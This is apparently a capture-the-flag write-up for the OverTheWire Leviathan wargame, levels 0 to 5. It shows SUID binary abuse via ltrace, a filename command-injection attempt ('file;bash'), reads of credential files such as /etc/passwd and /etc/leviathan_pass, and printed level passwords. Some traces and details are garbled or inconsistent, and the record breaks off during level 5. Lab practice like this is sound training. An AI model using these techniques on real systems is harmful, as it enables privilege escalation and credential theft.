

PoC on OverTheWire wargame: Leviathan

Level 0 → Level 1

Tools Used: ls, cd, grep, cat

Objective: Retrieve the password for leviathan1 through a hidden bookmark file.

Steps Followed:

1. SSH into the server:
2. `ssh leviathan0@leviathan.labs.overthewire.org -p 2223`
3. Listed all files (including hidden ones):
4. `ls -la`

Revealed a `.backup` folder.

Changed into that folder and checked contents:

5. `cd .backup`
6. `ls -la`

Found `bookmarks.html`.

Searched within it for the keyword password:

7. `grep leviathan bookmarks.html`

It contained: the password for leviathan1.

Used that password to SSH into Level 1.

Screenshots:

```
❏ Select leviathan0@leviathan: ~/.backup
Microsoft Windows [Version 10.0.26100.4946]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\System32>ssh leviathan0@leviathan.labs.overthewire.org -p 2223

  leviathan
  leviathan

This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

leviathan0@leviathan.labs.overthewire.org's password:

  OverTheWire
  OverTheWire

www. ver he ire.org

Welcome to OverTheWire!

If you find any problems, please report them to the #wargames channel on
discord or IRC.

--[ Playing the games ]--

This machine might hold several wargames.
If you are playing "somegame", then:

* USERNAMES are somegame0, somegame1, ...
* Most LEVELS are stored in /somegame/.
* PASSWORDS for each level are stored in /etc/somegame_pass/.

Write-access to homedirectories is disabled. It is advised to create a
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktemp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc
```

```
❏ Select leviathan0@leviathan: ~/.backup

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working directory with a hard-to-guess name in /tmp/. You can use the
command "mktemp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc
restricted so that users cannot snoop on eachother. Files and directories
with easily guessable or short names will be periodically deleted! The /tmp
directory is regularly wiped.
Please play nice:

* don't leave orphan processes running
* don't leave exploit-files laying around
* don't annoy other players
* don't post passwords or spoilers
* again, DONT POST SPOILERS!
  This includes writeups of your solution on your blog or website!

--[ Tips ]--

This machine has a 64bit processor and many security-features enabled
by default, although ASLR has been switched off. The following
compiler flags might be interesting:

-m32          compile for 32bit
-fno-stack-protector  disable ProPolice
-Wl,-z,norelro  disable relro

In addition, the execstack tool can be used to flag the stack as
executable on ELF binaries.

Finally, network-access is limited for most levels by a local
firewall.

--[ Tools ]--

For your convenience we have installed a few useful tools which you can find
in the following locations:

* gef (https://github.com/hugsy/gef) in /opt/gef/
* pwndbg (https://github.com/pwndbg/pwndbg) in /opt/pwndbg/
* gdbinit (https://github.com/gdbinit/Gdbinit) in /opt/gdbinit/
* pwntools (https://github.com/Gallopsled/pwntools)
* radare2 (http://www.radare.org/)

--[ More information ]--

For more information regarding individual wargames, visit
http://www.overthewire.org/wargames/

For support, questions or comments, contact us on discord or IRC.
```

```
Administrator: Command Prompt
For support, questions or comments, contact us on discord or IRC.
Enjoy your stay!

leviathan@leviathan:~$ ls -la
total 24
drwxr-xr-x  3 root    root      4096 Jul 28 19:05 .
drwxr-xr-x 150 root    root      4096 Jul 28 19:06 ..
drwxr-xr-x  2 leviathan1 leviathan0 4096 Jul 28 19:05 .backup
-rw-r--r--  1 root    root       220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root    root      3851 Jul 28 18:47 .bashrc
-rw-r--r--  1 root    root       807 Mar 31 2024 .profile
leviathan@leviathan:~$ cd .backup
leviathan@leviathan:~/backup$ ls -la
total 140
drwxr-xr-x  2 leviathan1 leviathan0 4096 Jul 28 19:05 .
drwxr-xr-x  3 root      root      4096 Jul 28 19:05 ..
-rw-r----- 1 leviathan1 leviathan0 133259 Jul 28 19:05 bookmarks.html
leviathan@leviathan:~/backup$ less bookmarks.html
leviathan@leviathan:~/backup$ leviathan@leviathan:~/backup$ grep password bookmarks.html
<div><A HREF="http://leviathan.labs.overthewire.org/passwordus.html" | This will be fixed later, the password for leviathan1 is 3Q3Tg2dQq" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wU71">password
to leviathan1</A>
leviathan@leviathan:~/backup$ ssh leviathan1@localhost -p 2223
The authenticity of host '[localhost]:2223 ([127.0.0.1]:2223)' can't be established.
ED25519 key fingerprint is SHA256:C21hUBV71hV1u0XB4RcEclFXC5CX1hMAW/uerLY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/leviathan0/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/leviathan0/.ssh/known_hosts).

  leviathan
  leviathan

This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

!!! You are trying to log into this SSH server with a password on port 2223 from localhost.
!!! Connecting from localhost is blocked to conserve resources.
!!! Please log out and log in again.

leviathan1@localhost: Permission denied (publickey).
leviathan@leviathan:~/backup$ exit
logout
Connection to leviathan.labs.overthewire.org closed.
```

Conclusion: Learned to explore hidden directories and extract data using grep.

Level 1 → Level 2

Tools Used: ls, ltrace, stricmp, ./binary, whoami, cat

Objective: Extract the password from a SUID binary using dynamic tracing.

Steps Followed:

1. SSH into Level 1 using the retrieved password.
2. Listed files and saw a SUID-set executable named check. Is -la revealed permissions including s bit.
3. Ran the binary, got a password prompt. Wrong guesses return a failure message.
4. Used ltrace ./check to observe the library calls, and saw a call:
5. stricmp("tes", "sex")
→ password was "sex".

Entered sex when prompted. Gained access as leviathan2 (whoami).

6. Retrieved the actual password from /etc/leviathan_pass/leviathan2:
7. cat /etc/leviathan_pass/leviathan2 (In the OverTheWire website, it is mentioned to use this folder.)

Screenshots:

```
leviathan1@leviathan: ~  
Microsoft Windows [Version 10.0.26100.4946]  
(c) Microsoft Corporation. All rights reserved.  
  
C:\Windows\System32>ssh leviathan1@leviathan.labs.overthewire.org -p 2223  
  
leviathan  
  
This is an OverTheWire game server.  
More information on http://www.overthewire.org/wargames  
  
leviathan1@leviathan.labs.overthewire.org's password:  
Permission denied, please try again.  
leviathan1@leviathan.labs.overthewire.org's password:  
  
OverTheWire  
www.OverTheWire.org  
  
Welcome to OverTheWire!  
  
If you find any problems, please report them to the #wargames channel on  
discord or IRC.  
  
--[ Playing the games ]--  
  
This machine might hold several wargames.  
If you are playing "somegame", then:  
  
* USERNAMES are somegame0, somegame1, ...  
* Most LEVELS are stored in /somegame/.  
* PASSWORDS for each level are stored in /etc/somegame_pass/.  
  
Write-access to homedirectories is disabled. It is advised to create a  
working directory with a hard-to-guess name in /tmp/. You can use the
```

```

❯ leviathan1@leviathan: ~
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktmp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc
restricted so that users cannot snoop on eachother. Files and directories
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directory is regularly wiped.
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in the following locations:

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--[ More information ]--

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For support, questions or comments, contact us on discord or IRC.

```

```

❯ leviathan1@leviathan: ~
For support, questions or comments, contact us on discord or IRC.

Enjoy your stay!

leviathan1@leviathan:~$ ls -la
total 36
drwxr-xr-x  2 root   root   4096 Jul 28 19:05 .
drwxr-xr-x 150 root   root   4096 Jul 28 19:06 ..
-rw-r--r--  1 root   root    220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root   root   3851 Jul 28 18:47 .bashrc
-r-sr-x---  1 leviathan2 leviathan1 15084 Jul 28 19:05 check
-rw-r--r--  1 root   root    807 Mar 31 2024 .profile
leviathan1@leviathan:~$ less check
"check" may be a binary file. See it anyway?
leviathan1@leviathan:~$ leviathan1@leviathan:~$ file check
check: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]-990fa9b7d511205601669835610d587780d0195e, for GNU/Linux 3.2.0, not stripped
leviathan1@leviathan:~$ cd .bash_logout
-bash: cd: .bash_logout: Not a directory
leviathan1@leviathan:~$ ./check
password: ok
Wrong password, Good Bye ...
leviathan1@leviathan:~$ strings check | less
leviathan1@leviathan:~$ ./check
password: ok
Wrong password, Good Bye ...
leviathan1@leviathan:~$ strings check | less
leviathan1@leviathan:~$ leviathan1@leviathan:~$ ./check
password: /bin/sh
Wrong password, Good Bye ...
leviathan1@leviathan:~$ strings check | less
leviathan1@leviathan:~$ ./check
password: ;25*0
Wrong password, Good Bye ...
leviathan1@leviathan:~$ ltrace ./check
__libc_start_main@0x80490ed, 1, 0xffffd474, 0 <unfinished ...>
printf("password: ")                                = 10
getchar(0, 0, 0x786573, 0x646673password: null      = 110
)
getchar(0, 110, 0x786573, 0x646673)                  = 117
getchar(0, 0x756e, 0x786573, 0x646673)               = 108
strcmp("nul", "sex")                                = -1
puts("Wrong password, Good Bye ...Wrong password, Good Bye ...
)                                                    = 29
+++ exited (status 0) +++

```

```

❯ leviathan1@leviathan: ~
puts("Wrong password, Good Bye ...Wrong password, Good Bye ...
)                                                    = 29
+++ exited (status 0) +++
leviathan1@leviathan:~$ ./check
password: sex
$ ls -la
total 36
drwxr-xr-x  2 root   root   4096 Jul 28 19:05 .
drwxr-xr-x 150 root   root   4096 Jul 28 19:06 ..
-rw-r--r--  1 root   root    220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root   root   3851 Jul 28 18:47 .bashrc
-r-sr-x---  1 leviathan2 leviathan1 15084 Jul 28 19:05 check
-rw-r--r--  1 root   root    807 Mar 31 2024 .profile
$ cat /etc/leviathan_pass/leviathan2
NsN1HwFoyN
$

```

Conclusion: Understood how to exploit SUID binaries via ltrace to reveal hidden strings.

Level 2 → Level 3

Tools Used:

mkdir, touch, ls, cd, ./binary execution

Objective:

Bypass restricted filename execution rules in the printfile binary to read the password for the next level.

Steps Followed:

1. Logged in to leviathan2 via SSH.
2. Located the printfile binary in the home directory.
3. Knew that printfile accepts a file path as an argument but fails if spaces or certain special characters are not handled properly.
4. Created a temporary directory in /tmp to safely work:
5. `mkdir -p /tmp/tmp.HD4oZqihto`
Example output: /tmp/tmp.HD4oZqihto
6. Navigated into the temp directory:
7. `cd /tmp/tmp.HD4oZqihto`
8. Created a specially named file to test argument handling (adding ;bash after filename to attempt tricking the command):
9. `touch 'file;bash'`
10. Tried running:
11. `./printfile /tmp/tmp.HD4oZqihto/file\;bash`
Got a Permission denied message.
12. Realized the target file to read was /etc/leviathan_pass/leviathan3.

13. Ran the working command:
14. `./printfile /etc/leviathan_pass/leviathan3`
15. Output revealed the password:
16. `f0n8h2iWLp`

Screenshots:

```
leviathan3@leviathan: ~  
Microsoft Windows [Version 10.0.26100.4946]  
(c) Microsoft Corporation. All rights reserved.  
  
C:\Windows\System32>ssh leviathan2@leviathan.labs.overthewire.org -p 2223  
  
leviathan  
  
This is an OverTheWire game server.  
More information on http://www.overthewire.org/wargames  
  
leviathan2@leviathan.labs.overthewire.org's password:  
  
OMG  
  
www. ver he ire.org  
  
Welcome to OverTheWire!  
  
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--[ Playing the games ]--  
  
This machine might hold several wargames.  
If you are playing "somegame", then:  
  
* USERNAMES are somegame0, somegame1, ...  
* Most LEVELS are stored in /somegame/.  
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Write-access to homedirectories is disabled. It is advised to create a  
working directory with a hard-to-guess name in /tmp/. You can use the  
command "mktemp -d" in order to generate a random and hard to guess  
directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc
```

```
leviathan3@leviathan: ~  
directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc  
restricted so that users cannot snoop on eachother. Files and directories  
with easily guessable or short names will be periodically deleted! The /tmp  
directory is regularly wiped.  
Please play nice:
```

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```
leviathan3@leviathan: ~
```

Enjoy your stay!

```
leviathan2@leviathan:~$ ls -la  
total 36  
drwxr-xr-x  2 root    root      4096 Jul 28 19:05 .  
drwxr-xr-x 150 root    root      4096 Jul 28 19:06 ..  
-rw-r--r--  1 root    root       220 Mar 31  2024 .bash_logout  
-rw-r--r--  1 root    root     3851 Jul 28 18:47 .bashrc  
-r-sr-x--  1 leviathan3 leviathan2 15072 Jul 28 19:05 printfile  
-rw-r--r--  1 root    root       807 Mar 31  2024 .profile  
leviathan2@leviathan:~$ ./printfile  
*** File Printer ***  
Usage: ./printfile filename  
leviathan2@leviathan:~$ cat /etc/leviathan_pass/leviathan3  
cat: /etc/leviathan_pass/leviathan3: Permission denied  
leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan3  
You cant have that file...  
leviathan2@leviathan:~$ ./printfile /etc/passwd  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin  
_apt:x:42:65534:/:nonexistent:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
systemd-network:x:998:998:systemd Network Management:/:usr/sbin/nologin  
systemd-timesync:x:996:996:systemd Time Synchronization:/:usr/sbin/nologin  
dhcpcd:x:100:65534:DHCP Client Daemon,,,:usr/lib/dhcpcd:/bin/false  
messagebus:x:101:101:/:nonexistent:/usr/sbin/nologin  
syslog:x:102:102:/:nonexistent:/usr/sbin/nologin  
systemd-resolve:x:991:991:systemd Resolver:/:usr/sbin/nologin  
uuid:x:103:103:/run/uuid:/usr/sbin/nologin  
tss:x:104:104:TPM software stack,,,:/var/lib/tpm:/bin/false  
sshd:x:105:65534:/:run/ssh:/usr/sbin/nologin  
pollinate:x:106:1:/:var/cache/pollinate:/bin/false  
tcpdump:x:107:108:/:nonexistent:/usr/sbin/nologin  
landscape:x:108:109:/:var/lib/landscape:/usr/sbin/nologin  
fwupd-refresh:x:990:990:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
```

```

leviathan3@leviathan: ~
vortex7:x:5007:5007:vortex level 7:/home/vortex7:/bin/bash
vortex8:x:5008:5008:vortex level 8:/home/vortex8:/bin/bash
vortex9:x:5009:5009:vortex level 9:/home/vortex9:/bin/bash
leviathan2@leviathan:~$ ltrace ./printfile /etc/passwd
libc_start_main(0x80490ed, 2, 0xffffd454, 0, unfinished ...)
access("/etc/passwd", 4)
sprintf("/bin/cat /etc/passwd", 511, "/bin/cat %s", "/etc/passwd")
geteuid()
geteuid()
seteuid(12002, 12002)
system("/bin/cat /etc/passwd"root:x:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mail Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
system-network:x:998:998:systemd Network Management:/usr/sbin/nologin
system-timesync:x:996:996:systemd Time Synchronization:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,/usr/lib/dhcpcd:/bin/false
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
syslog:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:991:991:systemd Resolver:/usr/sbin/nologin
uiddd:x:103:103:/run/uiddd:/usr/sbin/nologin
tss:x:104:104:TPM software stack,,/var/lib/tpm:/bin/false
sshd:x:105:65534:/run/ssh:/usr/sbin/nologin
pollinate:x:106:1:/var/cache/pollinate:/bin/false
tcpdump:x:107:108::/nonexistent:/usr/sbin/nologin
landscape:x:108:109:/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:990:990:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
polkitd:x:999:999:for polkit:/usr/sbin/nologin
ec2-instance-connect:x:109:65534:/nonexistent:/usr/sbin/nologin
chrony:x:110:112:Chrony daemon,,/var/lib/chrony:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
stunnel4:x:988:988:stunnel service system account:/var/run/stunnel4:/usr/sbin/nologin
bandit0:x:11000:11000:bandit level 0:/home/bandit0:/bin/bash
bandit1:x:11001:11001:bandit level 1:/home/bandit1:/bin/bash
bandit10:x:11010:11010:bandit level 10:/home/bandit10:/bin/bash

```

```

leviathan3@leviathan: ~
vortex19:x:5019:5019:vortex level 19:/home/vortex19:/bin/bash
vortex2:x:5002:5002:vortex level 2:/home/vortex2:/bin/bash
vortex20:x:5020:5020:vortex level 20:/home/vortex20:/bin/bash
vortex21:x:5021:5021:vortex level 21:/home/vortex21:/bin/bash
vortex22:x:5022:5022:vortex level 22:/home/vortex22:/bin/bash
vortex23:x:5023:5023:vortex level 23:/home/vortex23:/bin/bash
vortex24:x:5024:5024:vortex level 24:/home/vortex24:/bin/bash
vortex25:x:5025:5025:vortex level 25:/home/vortex25:/bin/bash
vortex3:x:5003:5003:vortex level 3:/home/vortex3:/bin/bash
vortex4:x:5004:5004:vortex level 4:/home/vortex4:/bin/bash
vortex5:x:5005:5005:vortex level 5:/home/vortex5:/bin/bash
vortex6:x:5006:5006:vortex level 6:/home/vortex6:/bin/bash
vortex7:x:5007:5007:vortex level 7:/home/vortex7:/bin/bash
vortex8:x:5008:5008:vortex level 8:/home/vortex8:/bin/bash
vortex9:x:5009:5009:vortex level 9:/home/vortex9:/bin/bash
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed ...>
+++ exited (status 0) +++
leviathan2@leviathan:~$ touch 'file;bash'
touch: cannot touch 'file;bash': Permission denied
leviathan2@leviathan:~$ mktemp -d
/tmp/tmp.HD4oZqihto
leviathan2@leviathan:~$ cd /tmp/tmp.HD4oZqihto
leviathan2@leviathan:/tmp/tmp.HD4oZqihto$ touch 'file;bash'
leviathan2@leviathan:/tmp/tmp.HD4oZqihto$ ls -la
total 560
drwx----- 2 leviathan2 leviathan2 4096 Aug 14 19:40 .
drwxrwx-wt 1883 root root 565248 Aug 14 19:41 ..
-rw-rw-r-- 1 leviathan2 leviathan2 0 Aug 14 19:40 file;bash
leviathan2@leviathan:/tmp/tmp.HD4oZqihto$ ./printfile /tmp/tmp.HD4oZqihto/file\;bash
-bash: ./printfile: No such file or directory
leviathan2@leviathan:/tmp/tmp.HD4oZqihto$ cd
leviathan2@leviathan:~$ ./printfile /tmp/tmp.HD4oZqihto/file\;bash
/bin/cat: /tmp/tmp.HD4oZqihto/file: Permission denied
leviathan3@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan3
f0n8h2iWLP
leviathan3@leviathan:~$

```

Conclusion:

Learned about filename handling quirks in binaries, use of /tmp for safe experiments, and privilege escalation through binaries with elevated permissions.

Level 3 → Level 4

Tools Used: ls, executable level3, ltrace, strcmp

Objective: Reveal the password using dynamic tracing.

Steps Followed:

1. SSH into Range leviathan3. Saw level3 binary with SUID.
2. Ran ltrace ./level3, spotted strcmp(..., "snlprintf").
3. Re-launched and input snlprintf. Gained shell and escalated privilege to leviathan4.
4. Read /etc/leviathan_pass/leviathan4.

Screenshots:

```
leviathan3@leviathan: ~
Microsoft Windows [Version 10.0.26100.4946]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\System32>ssh leviathan3@leviathan.labs.overthewire.org -p 2223

leviathan3@leviathan.labs.overthewire.org's password:

This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

leviathan3@leviathan.labs.overthewire.org's password:

Welcome to OverTheWire!

If you find any problems, please report them to the #wargames channel on
discord or IRC.

--[ Playing the games ]--

This machine might hold several wargames.
If you are playing "somegame", then:

* USERNAMES are somegame0, somegame1, ...
* Most LEVELS are stored in /somegame/.
* PASSWORDS for each level are stored in /etc/somegame_pass/.

Write-access to homedirectories is disabled. It is advised to create a
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktemp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc
```

```

❏ leviathan3@leviathan: ~
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktmp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc
restricted so that users cannot snoop on eachother. Files and directories
with easily guessable or short names will be periodically deleted! The /tmp
directory is regularly wiped.
Please play nice:

* don't leave orphan processes running
* don't leave exploit-files laying around
* don't annoy other players
* don't post passwords or spoilers
* again, DONT POST SPOILERS!
  This includes writeups of your solution on your blog or website!

--[ Tips ]--

This machine has a 64bit processor and many security-features enabled
by default, although ASLR has been switched off. The following
compiler flags might be interesting:

-m32             compile for 32bit
-fno-stack-protector  disable ProPolice
-Wl,-z,norelro    disable relro

In addition, the execstack tool can be used to flag the stack as
executable on ELF binaries.

Finally, network-access is limited for most levels by a local
firewall.

--[ Tools ]--

For your convenience we have installed a few useful tools which you can find
in the following locations:

* gef (https://github.com/hugsy/gef) in /opt/gef/
* pwndbg (https://github.com/pwndbg/pwndbg) in /opt/pwndbg/
* gdbinit (https://github.com/gdbinit/gdbinit) in /opt/gdbinit/
* pwntools (https://github.com/Gallopsled/pwntools)
* radare2 (http://www.radare.org/)

--[ More information ]--

For more information regarding individual wargames, visit
http://www.overthewire.org/wargames/

For support, questions or comments, contact us on discord or IRC.

```

```

❏ leviathan3@leviathan: ~
For support, questions or comments, contact us on discord or IRC.

Enjoy your stay!

leviathan3@leviathan:~$
leviathan3@leviathan:~$ ls -la
total 40
drwxr-xr-x  2 root   root   4096 Jul 28 19:05 .
drwxr-xr-x 150 root   root   4096 Jul 28 19:06 ..
-rw-r--r--  1 root   root   220 Mar 31 2024 .bash_logout
-rw-r--r--  1 root   root   3851 Jul 28 18:47 .bashrc
-r-sr-x---  1 leviathan4 leviathan3 18100 Jul 28 19:05 level3
-rw-r--r--  1 root   root    807 Mar 31 2024 .profile
leviathan3@leviathan:~$ ./level3
Enter the password> null
bzzzzzzzap. WRONG
leviathan3@leviathan:~$ ltrace ./level3
__libc_start_main(0x80490ed, 1, 0xffffd464, 0 <unfinished ...>
strncpy("h0n033", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> null
"null\n", 256, 0xf7fab5c0) = 0xffffd23c
strncpy("null\n", "snlprintf\n") = -1
puts("bzzzzzzzap. WRONG") = 19
)
+++ exited (status 0) +++
leviathan3@leviathan:~$ ./level3
Enter the password> snlprintf
[You've got shell]
$ cat /etc/leviathan_pass/leviathan4
cat: /etc/leviathan_pass/leviathan4: No such file or directory
$ cat /etc/leviathan_pass/leviathan4
MG1egElCv0
$

```

Conclusion: Mimicked the previous level but reinforced using ltrace for string extraction.

Level 4 → Level 5

Tools Used: ls, cd, .trash directory, custom binary bin, binary-to-text conversion (ASCII from binary)

Objective: Decode binary output to get the password.

Steps Followed:

1. SSH into Level 4. Found hidden .trash directory; inside was bin executable (SUID).
2. Executed ./bin, which output a stream of binary digits (e.g. 01010100 01101001 ...).
3. Converted binary to ASCII (e.g., using Python or manually): result was something like Tith4cokei. Retrieved password.

Screenshots:

```
leviathan4@leviathan: ~/.trash
Microsoft Windows [Version 10.0.26100.4946]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\System32>ssh leviathan4@leviathan.labs.overthewire.org -p 2223

leviathan

This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames

leviathan4@leviathan.labs.overthewire.org's password:

www. ver he ire.org

Welcome to OverTheWire!

If you find any problems, please report them to the #wargames channel on
discord or IRC.

--[ Playing the games ]--

This machine might hold several wargames.
If you are playing "somegame", then:

* USERNAMES are somegame0, somegame1, ...
* Most LEVELS are stored in /somegame/.
* PASSWORDS for each level are stored in /etc/somegame_pass/.

Write-access to homedirectories is disabled. It is advised to create a
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktmp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc
```

```
leviathan4@leviathan: ~/trash
Write-access to homedirectories is disabled. It is advised to create a
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktemp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc
restricted so that users cannot snoop on eachother. Files and directories
with easily guessable or short names will be periodically deleted! The /tmp
directory is regularly wiped.
Please play nice:
```

```
* don't leave orphan processes running
* don't leave exploit-files laying around
* don't annoy other players
* don't post passwords or spoilers
* again, DONT POST SPOILERS!
  This includes writeups of your solution on your blog or website!
```

--[Tips]--

This machine has a 64bit processor and many security-features enabled
by default, although ASLR has been switched off. The following
compiler flags might be interesting:

```
-m32          compile for 32bit
-fno-stack-protector  disable ProPolice
-Wl,-z,norelro  disable relro
```

In addition, the execstack tool can be used to flag the stack as
executable on ELF binaries.

Finally, network-access is limited for most levels by a local
firewall.

--[Tools]--

For your convenience we have installed a few useful tools which you can find
in the following locations:

```
* gef (https://github.com/hugsy/gef) in /opt/gef/
* pwndbg (https://github.com/pwndbg/pwndbg) in /opt/pwndbg/
* gdbinit (https://github.com/gdbinit/Gdbinit) in /opt/gdbinit/
* pwntools (https://github.com/Gallopsled/pwntools)
* radare2 (http://www.radare.org/)
```

--[More information]--

For more information regarding individual wargames, visit
<http://www.overthewire.org/wargames/>

For support, questions or comments, contact us on discord or IRC.

```
leviathan4@leviathan: ~/trash
```

```
* pwntools (https://github.com/Gallopsled/pwntools)
* radare2 (http://www.radare.org/)
```

--[More information]--

For more information regarding individual wargames, visit
<http://www.overthewire.org/wargames/>

For support, questions or comments, contact us on discord or IRC.

Enjoy your stay!

```
leviathan4@leviathan:~$ ls -la
```

```
total 24
drwxr-xr-x  3 root root    4096 Jul 28 19:05 .
drwxr-xr-x 150 root root    4096 Jul 28 19:06 ..
-rw-r--r--  1 root root     220 Mar 31  2024 .bash_logout
-rw-r--r--  1 root root   3851 Jul 28 18:47 .bashrc
-rw-r--r--  1 root root     807 Mar 31  2024 .profile
dr-xr-x---  2 root leviathan4 4096 Jul 28 19:05 .trash
```

```
leviathan4@leviathan:~$ cd .trash
```

```
leviathan4@leviathan:~/trash$ ls -la
```

```
total 24
dr-xr-x--- 2 root      leviathan4 4096 Jul 28 19:05 .
drwxr-xr-x 3 root      root        4096 Jul 28 19:05 ..
-r-sr-x--- 1 leviathan5 leviathan4 14940 Jul 28 19:05 bin
```

```
leviathan4@leviathan:~/trash$ ./bin
```

```
00110000 01100100 01111001 01111000 01010100 00110111 01000110 00110100 01010001 01000100 00001010
```

```
leviathan4@leviathan:~/trash$
```

Binary to Text Translator

Enter binary numbers with any prefix/postfix/delimiter and press the *Convert* button.

(E.g: 01000101 01111000 01100001 01101101 01110000 01101100 01100101):

The screenshot shows a web application interface for converting binary to text. It features two dropdown menus labeled 'From' and 'To', both set to 'Binary' and 'Text' respectively. Below these are three buttons: 'Open File' (with a folder icon), 'Open Bin File' (with a folder icon), and a search button (with a magnifying glass icon). A text area contains the binary code: '00110000 01100100 01111001 01111000 01010100 00110111 01000110 00110100 01010001 01000100 00001010'. Below the text area is a dropdown menu for 'Character encoding (optional)' set to 'ASCII/UTF-8'. At the bottom are three buttons: '= Convert' (green), 'x Reset' (grey), and '↕ Swap' (grey). The output field at the very bottom displays the text '0dyxT7F4QD'.

Conclusion: Practiced encoding conversions and interpreting raw binary output.

Level 5 → Level 6

Tools Used: ls, SUID binary leviathan5, ltrace, cp, mv, cat

Objective: Supply a fake file to the SUID binary to retrieve password.

Steps Followed:

1. SSH into Level 5. Found leviathan5 binary.
2. Ran it—error: Cannot find /tmp/file.log.

3. ltrace revealed it opens /tmp/file.log.
4. Moved the next-level password into file.log:
5. cp /etc/leviathan_pass/leviathan6 /tmp/file.log
6. ./leviathan5
7. Got the password for Level 6.

Screenshots:

```
leviathan5@leviathan: ~  
Microsoft Windows [Version 10.0.26100.4946]  
(c) Microsoft Corporation. All rights reserved.  
  
C:\Windows\System32>ssh leviathan5@leviathan.labs.overthewire.org -p 2223  
  
leviathan  
  
This is an OverTheWire game server.  
More information on http://www.overthewire.org/wargames  
  
leviathan5@leviathan.labs.overthewire.org's password:  
  
OverTheWire  
www.OverTheWire.org  
  
Welcome to OverTheWire!  
  
If you find any problems, please report them to the #wargames channel on  
discord or IRC.  
  
--[ Playing the games ]--  
  
This machine might hold several wargames.  
If you are playing "somegame", then:  
  
* USERNAMES are somegame0, somegame1, ...  
* Most LEVELS are stored in /somegame/.  
* PASSWORDS for each level are stored in /etc/somegame_pass/.  
  
Write-access to homedirectories is disabled. It is advised to create a  
working directory with a hard-to-guess name in /tmp/. You can use the  
command "mktemp -d" in order to generate a random and hard to guess  
directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc
```

```

❏ leviathan5@leviathan: ~
Write-access to homedirectories is disabled. It is advised to create a
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktemp -d" in order to generate a random and hard to guess
